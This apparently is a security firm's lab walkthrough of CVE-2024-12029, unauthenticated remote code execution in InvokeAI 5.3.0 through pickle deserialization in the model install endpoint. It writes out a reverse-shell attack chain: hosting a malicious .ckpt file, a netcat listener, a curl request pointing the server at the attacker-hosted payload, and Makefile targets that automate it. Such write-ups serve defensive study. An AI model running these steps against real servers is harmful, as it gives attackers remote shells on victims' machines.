← Back to all articles

InvokeAI RCE via Model Deserialization — CVE-2024-12029

How we gained a reverse shell on InvokeAI 5.3.0 by serving a malicious pickle payload through the unauthenticated model install endpoint.

In this writeup, we'll go through the steps to obtain a reverse shell on InvokeAI, a popular open-source AI image generation platform.

InvokeAI is a self-hosted AI engine used to run Stable Diffusion models locally and generate images from text prompts. We will be exploiting one of its features that allows users to install models from remote URLs.

Machine Walkthrough

We start with enumerating the machine by a simple port scan.

image.png

image.png

HTTP service on port 9090.

Visit the website.

image.png

The first thing that catches our eye is the version of InvokeAI visible in the UI, v5.3.0. We do a quick search to find out if it has any public vulnerability.

CVE-2024-12029: InvokeAI exposes a /api/v2/models/install endpoint that accepts a source parameter — a URL pointing to a model file to download and install. When the model is processed, InvokeAI calls torch.load() on the downloaded file without any safety validation. torch.load() uses Python's pickle module internally, meaning a specially crafted .ckpt file with a malicious __reduce__ method will execute arbitrary OS commands the moment the file is deserialised — with no authentication required.

The version of picklescan pinned in this release (0.0.14) does not detect malicious payloads inside .ckpt files, which is precisely the condition that makes this CVE exploitable.

I recommend reading the full report on https://huntr.com/bounties/9b790f94-1b1b-4071-bc27-78445d1a87a3.

Manual Exploitation

The attack flow is straightforward:

  1. Craft a malicious .ckpt file containing a pickle reverse-shell payload
  2. Serve it over HTTP from the attacker machine
  3. POST to /api/v2/models/install?source=<attacker-url>&inplace=true
  4. InvokeAI downloads the file and deserialises it with torch.load()
  5. The pickle __reduce__ fires and the reverse shell connects back

Step 1 — Generate the malicious payload

We craft a .ckpt file containing a Python reverse shell serialised with pickle. When torch.load() processes it, the __reduce__ method fires and executes our command.

python3 generate_payload.py 10.0.2.15 4444

image.png

Step 2 — Start the HTTP server

InvokeAI needs to fetch the payload over HTTP. We serve it from the same directory:

python3 -m http.server 8888

image.png

Step 3 — Start the listener

In a separate terminal, start a netcat listener to catch the incoming reverse shell:

nc -lvnp 4444

image.png

Step 4 — Trigger the exploit

We POST to the vulnerable /api/v2/models/install endpoint, pointing the source parameter at our hosted payload. InvokeAI downloads it and passes it to torch.load() — no authentication required.

curl -X POST "http://localhost:9090/api/v2/models/install?source=http://10.0.2.15:8888/payload.ckpt&inplace=true" \
  -H "Content-Type: application/json" \
  -d "{}"

The server responds with a job object confirming the install was accepted.

image.png

Meanwhile, the HTTP server logs confirm InvokeAI fetched the payload.

Step 5 — Catch the shell

Switch back to the netcat terminal.

pwned :>

image.png


Automation

Instead of running each step manually, we automated the full attack chain using a Makefile, generate_payload.py, and exploit.py.

Project Structure

exploitation/InvokeAI_v5.3.0/
├── generate_payload.py   # Generates the malicious pickle .ckpt file
├── exploit.py            # Triggers the install endpoint (3-step chain)
├── Makefile              # Orchestrates fw / listen / serve / attack targets
└── README.md             # This writeup

How it works

The exploit.py script automates the full attack in 3 steps:

  1. Generate the malicious payload.ckpt via generate_payload.py
  2. Pre-flight check — verifies the HTTP server is reachable before triggering
  3. Trigger — POSTs to /api/v2/models/install and waits for the shell

Usage

Terminal 1 — Start the listener:

make listen

Terminal 2 — Generate payload and serve it over HTTP:

make serve

Terminal 3 — Trigger the exploit:

make attack

Note: If InvokeAI runs in a podman container, run make fw once before anything else to open the iptables FORWARD rules that Kali drops by default.

Override any parameter as needed:

make attack LISTENER_IP=10.88.0.1 LISTENER_PORT=9001 HTTP_PORT=8080
make attack TARGET_URL=http://192.168.1.50:9090

Run make help to see all detected values before launching.

Start listener

image.png

Run the exploit

image.png

Get shell

image.png


Conclusion

This penetration test demonstrates how an attacker can exploit the unsafe use of torch.load() in InvokeAI's model installation pipeline to achieve unauthenticated Remote Code Execution. The combination of an unprotected API endpoint, a vulnerable version of picklescan that fails to flag malicious .ckpt files, and Python's inherently unsafe pickle deserialization makes this a critical vulnerability in any internet-facing InvokeAI deployment.

Want to test your own defenses?

Book a free high-level cybersecurity assessment with our team.

Get Started